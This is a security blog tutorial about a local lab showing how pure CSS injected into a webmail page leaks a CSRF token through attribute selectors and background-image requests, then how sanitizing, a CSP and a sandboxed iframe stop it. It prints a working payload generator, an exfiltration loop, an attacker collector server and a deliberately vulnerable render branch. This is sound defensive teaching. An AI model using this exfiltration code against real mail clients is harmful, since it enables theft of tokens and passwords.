~/tech-with-ugur

You Stripped the JavaScript. The CSS Still Stole the Token.

2026-08-17 cybersecurity

Run the companion lab

Every webmail client makes the same promise when it renders a message from a stranger: it strips the dangerous parts first. <script> tags are removed, event handlers are scrubbed, javascript: URLs are rewritten. What’s left is “just styling” — and styling feels safe. It isn’t. CSS alone is enough to read a secret out of the page an email is rendered in and ship it to an attacker, character by character, with no script running anywhere.

This is not a curiosity. In August 2026 researchers disclosed CSS-injection attacks that cut across Outlook, Gmail, and Proton Mail — the exact clients whose whole job is to render mail from people you’ve never met. The mechanism is old and boring, which is what makes it dangerous: it uses only features that every sanitizer waves through.

This lab builds the whole thing end to end. A minimal webmail app renders an attacker-controlled “email” — pure CSS, no JavaScript — into a page that also holds a secret CSRF token. A headless browser plays victim; an attacker’s collector reassembles the stolen token one character at a time. Then a single environment flag turns on three layers of defense and the identical attack recovers nothing. Everything runs locally in Docker, nothing touches the real internet, and the only secret in play is an obviously-fake seeded token. Every code block below is copied verbatim from the lab.

A secret in the page, and an email in the same room

Here is the page the victim’s browser loads. Two things share it: a secret token, sitting in a form field the way an autofilled credential or a hidden CSRF token would, and the attacker’s email CSS, injected straight into the document.

labs/lab-css-webmail-exfil/webmail/src/render.ts:

const SECRET_FORM = (token: string) =>
  `<form><label>Session <input name="csrf" value="${token}"></label></form>`;

// ...

  if (!opts.secure) {
    // Vulnerable: attacker CSS lives in the SAME document as the secret input,
    // with no CSP. Its attribute selectors can match the input's value.
    // This branch assumes emailCss is CSS-only (the lab's threat model is the
    // CSS attribute-selector channel); it is deliberately unsanitized here to
    // demonstrate the vulnerability.
    const html = `<!doctype html><html><head><meta charset="utf-8">
<style id="email">${opts.emailCss}</style>
</head><body>
<h1>Inbox</h1>
${SECRET_FORM(opts.token)}
<div class="message">You've got mail.</div>
</body></html>`;
    return { html, headers: {} };
  }

Nothing here is exotic. The token lives in an <input>’s value attribute — which is exactly where a browser puts an autofilled password, and exactly where a server-rendered form puts an anti-CSRF token. The email’s CSS goes into a <style> block in the same document. No script is involved on either side. A sanitizer that only hunts for JavaScript sees nothing to remove.

How CSS becomes a data channel

The attack rests on two CSS features that have existed for decades. The first is the attribute selector with a prefix match: input[value^="a"] matches an input whose value starts with a. The second is that a matched rule can request a resource — background-image: url(...) — from any URL. Put them together and a rule fires a network request only when the secret starts with a particular character. The attacker doesn’t get to read the value; the browser reads it for them and phones home the answer.

You can only test one prefix at a time, so the attacker builds one rule per candidate character and lets the browser pick the winner. Here is the entire attack payload generator:

labs/lab-css-webmail-exfil/driver/src/css.ts:

// One CSS rule per candidate character. Only the rule whose [value^="..."]
// prefix actually matches the secret input will render, firing exactly one
// background-image request that tells the collector which character matched.
export function buildRoundCss(opts: RoundOpts): string {
  const { phase, pos, prefix, alphabet, collectorUrl } = opts;
  return alphabet
    .split("")
    .map((c) => {
      const url = `${collectorUrl}/leak?phase=${phase}&pos=${pos}&c=${c}&n=${pos}-${c}`;
      return `input[name="csrf"][value^="${prefix}${c}"]{background-image:url(${url})}`;
    })
    .join("\n");
}

For a known prefix — say the attacker has already learned the token starts with a1 — this emits sixteen rules like input[name="csrf"][value^="a10"]{background-image:url(...c=0...)}, ...[value^="a11"]..., and so on through the alphabet. Exactly one of them matches the real value, so exactly one background image loads, and its URL carries the character that matched. The n=<pos>-<c> fragment is just a cache-buster so the browser refetches each round instead of reusing a cached image.

Watching it leak, one character at a time

The catch is that a single round only reveals one character — you can’t build the rules for position two until you know position one. So the attack is a loop: learn a character, append it to the known prefix, generate the next round, reload the page. The lab’s driver does exactly this against the webmail server.

labs/lab-css-webmail-exfil/driver/src/exfil.ts:

export async function recover(opts: RecoverOpts): Promise<string> {
  const { page, webmailUrl, collectorUrl, phase, alphabet, length } = opts;
  await postJson(`${collectorUrl}/reset`, { phase });

  let prefix = "";
  for (let pos = 0; pos < length; pos++) {
    const css = buildRoundCss({ phase, pos, prefix, alphabet, collectorUrl });
    await postJson(`${webmailUrl}/email`, { css });
    await page.goto(`${webmailUrl}/message`, { waitUntil: "networkidle" });

    const c = await readLeakedChar(collectorUrl, phase, pos, 3000);
    if (c === null) break; // nothing leaked: hardened run, or end of secret
    prefix += c;
  }
  return prefix;
}

Each iteration uploads a round of CSS as the “email”, loads the message page, and waits to see which character the browser leaked. On the other end sits the attacker’s collector — a server whose only job is to log the requests those background images make and hand back a valid image so the load “succeeds”.

labs/lab-css-webmail-exfil/collector/src/server.ts:

// 1x1 transparent GIF so the browser's image request succeeds.
const GIF = Buffer.from(
  "R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7",
  "base64",
);

// ...

  app.get<{ Querystring: { phase?: string; pos?: string; c?: string } }>(
    "/leak",
    async (req, reply) => {
      const { phase = "", pos = "0", c = "" } = req.query;
      leaks.push({ phase, pos: Number(pos), c });
      reply.type("image/gif").send(GIF);
    },
  );

There is nothing clever in the collector, and that’s the point: the browser did all the work. It matched the selector, decided to fetch the image, and encoded the secret into the URL it requested. The attacker just reads their access log. Run the whole thing and the token falls out character by character:

=== CSS webmail exfiltration ===
Expected token         : a1b2c3d4
Vulnerable run recovered: a1b2c3d4
Hardened run recovered  : (nothing)
Hardened run leak count : 0

The fix, in three independent layers

The hardened webmail server is the same code with SECURE=1 set. It applies three defenses, and the important word is independent: any one of them, on its own, kills the leak. Defense in depth means you don’t have to bet the token on a single control being perfect.

Layer one: sanitize the CSS. The whole attack needs one thing — the ability to make a network request from a style rule. Strip that and the channel is gone. In CSS, external fetches come from exactly two constructs: url(...) and @import. Remove both.

labs/lab-css-webmail-exfil/webmail/src/sanitize.ts:

// Remove the two CSS constructs that can fetch an external resource, which is
// how attacker CSS turns styling into a data channel:
//   - url(...) function calls  (background-image, cursor, etc.)
//   - @import at-rules
// Production code should use a real CSS allow-list parser; this narrow strip is
// enough to close the channel the lab demonstrates.
export function sanitizeCss(css: string): string {
  const withoutImports = css.replace(/@import[^;]*;/gi, "");
  return withoutImports.replace(/url\s*\([^)]*\)/gi, "");
}

Two honest caveats on this function. It’s a narrow regex strip, not a real CSS parser — in production you want an allow-list sanitizer that understands CSS grammar, because a determined payload can hide a url( behind escaping tricks a regex won’t catch. And note the attack has a sibling this doesn’t even need to address separately: the same @import rule can pull in a whole attacker stylesheet (@import url(...)), which is why stripping @import matters as much as stripping background-image. Sanitization is the first wall; it should not be the only one.

Layer two and three: a Content-Security-Policy, and keeping the secret out of reach. The hardened branch sends a CSP that forbids loading images from anywhere but the page’s own origin, and it renders the untrusted email inside a sandboxed <iframe> that does not contain the token at all.

labs/lab-css-webmail-exfil/webmail/src/render.ts:

  // Secure: (1) sanitize the CSS, (2) render the untrusted email inside a
  // sandboxed iframe that does NOT contain the secret, and (3) send a CSP that
  // forbids external resource loads. Any one layer stops the leak.
  const emailDoc = `<!doctype html><html><head><meta charset="utf-8">
<style>${sanitizeCss(opts.emailCss)}</style></head><body>
<div class="message">You've got mail.</div></body></html>`;
  // The iframe below is intentionally script-less. NEVER add allow-scripts
  // alongside allow-same-origin: that combination lets script inside the
  // iframe reach into the parent DOM and read the secret, collapsing the
  // isolation defense this lab relies on.
  const html = `<!doctype html><html><head><meta charset="utf-8"></head><body>
<h1>Inbox</h1>
${SECRET_FORM(opts.token)}
<iframe sandbox="allow-same-origin" srcdoc="${attr(emailDoc)}"></iframe>
</body></html>`;
  const headers = {
    "content-security-policy":
      "default-src 'self'; img-src 'self'; style-src 'unsafe-inline'",
  };
  return { html, headers };

The CSP’s img-src 'self' is the load-bearing directive: even if a url(...) slipped past the sanitizer, the browser refuses to fetch an image from the attacker’s collector, so no request is made and nothing leaks. The iframe is the third, structural wall: the attacker’s CSS now lives in a separate document that never contains the token, so its attribute selectors have nothing to match — there is no input[value=...] in scope for them to read. Notice too the comment on the sandbox attribute: allow-same-origin without allow-scripts is safe, but pairing the two would let script inside the iframe reach back into the parent and read the secret directly. The order of the escape helper matters as well — attr() escapes & before " and <, so an attacker can’t break out of the srcdoc attribute.

Proving both outcomes in one run

The lab doesn’t ask you to trust the description. The two modes are the same image with one flag flipped, run side by side:

labs/lab-css-webmail-exfil/docker-compose.yml:

  webmail-vuln:
    build: ./webmail
    environment:
      PORT: "3000"
      SECRET_TOKEN: "a1b2c3d4"
# ...
  webmail-secure:
    build: ./webmail
    environment:
      PORT: "3000"
      SECURE: "1"
      SECRET_TOKEN: "a1b2c3d4"

The driver runs the identical attack against both servers and asserts the two outcomes at once — the vulnerable run must reconstruct the exact token, and the hardened run must recover nothing and leave the collector with zero recorded requests:

labs/lab-css-webmail-exfil/driver/src/main.ts:

  const vulnOk = vuln === EXPECTED;
  const secureOk = secure === "" && secureLeaks === 0;

  if (vulnOk && secureOk) {
    console.log("\nPASS: token stolen without JavaScript, then fully blocked.");
    process.exit(0);
  }

That second condition is what makes the test honest. It isn’t enough for the hardened run to fail to reconstruct the token — the collector must have received zero requests. One stray background image and the run fails. The attacker’s recovery is built purely from what the collector observed; the EXPECTED token is only the answer key the assertion checks against, never something the driver feeds into the attack. The whole thing is one command:

docker compose up --abort-on-container-exit --exit-code-from driver

The token in the lab is deliberately short — eight hex characters — so the sequential reveal finishes in seconds. That’s a demo convenience, not a limit of the technique: a real attack scales the same loop to a full-length token or an autofilled password. It just takes more rounds.

The checklist

If you render HTML or CSS you didn’t write — a webmail client, a comment system, a templating feature, an email digest — carry these rules:

The full lab, with the run instructions and the hardened-vs-vulnerable assertion, is in the lab README. Clone it, watch the token leak, flip the flag, and watch it stop.